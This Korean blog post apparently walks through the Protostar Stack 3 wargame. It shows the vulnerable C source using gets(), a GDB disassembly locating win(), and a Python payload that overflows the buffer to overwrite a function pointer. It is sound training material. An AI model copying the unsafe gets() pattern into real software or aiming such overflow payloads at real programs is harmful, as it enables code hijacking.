본문 바로가기

WarGame/Exploit-Exercises

[Exploit-Exercises | protostar] Stack 3 :: Fucntion Pointer를 이용한 Buffer Overflow


Stack 3의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
  printf("code flow successfully changed\n");
}
 
int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];
 
  fp = 0;
 
  gets(buffer); // Vurnerability!!!
 
  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}
cs


fp라는 function pointer와 buffer 배열이 선언되어 있습니다. fp가 null이 아니면 fp() 함수를 통해서 fp가 가리키는 주소의 함수를 호출하고 있습니다. 입력 받는 크기를 지정하지 않는 gets() 함수의 취약점을 이용하여 buffer를 overflow시켜 fp에 win() 함수의 주소값을 집어 넣으면 win() 함수가 호출될 것이고 문제가 풀리게 될 것입니다.


Step 1. 이전 문제에서 알아보았던 것 처럼 buffer의 크기를 알아보면 64 Bytes가 나옵니다. 그래서 64개의 A문자를 buffer에 입력하고 추가로 win() 함수의 시작 주소를 입력하면 fp에 해당 주소가 들어갈 것 입니다. 먼저 다음과 같이 GDB를 이용하여 win() 함수의 시작 주소를 파악해야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
$ gdb -q /opt/protostar/bin/stack3
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) disas win
Dump of assembler code for function win:
0x08048424 <win+0>:     push   %ebp
0x08048425 <win+1>:     mov    %esp,%ebp
0x08048427 <win+3>:     sub    $0x18,%esp
0x0804842a <win+6>:     movl   $0x8048540,(%esp)
0x08048431 <win+13>:    call   0x8048360 <puts@plt>
0x08048436 <win+18>:    leave
0x08048437 <win+19>:    ret
End of assembler dump.
cs


win() 함수의 시작 주소는 0x08048424라는 것을 확인할 수 있습니다.


Step 2. 이제 다음과 같은 payload를 만들 수 있고, 실행해 보면 성공 메시지를 확인할 수 있습니다.


1
2
3
$ (python -c 'print "A"*64+"\x24\x84\x04\x08"';cat) | /opt/protostar/bin/stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
cs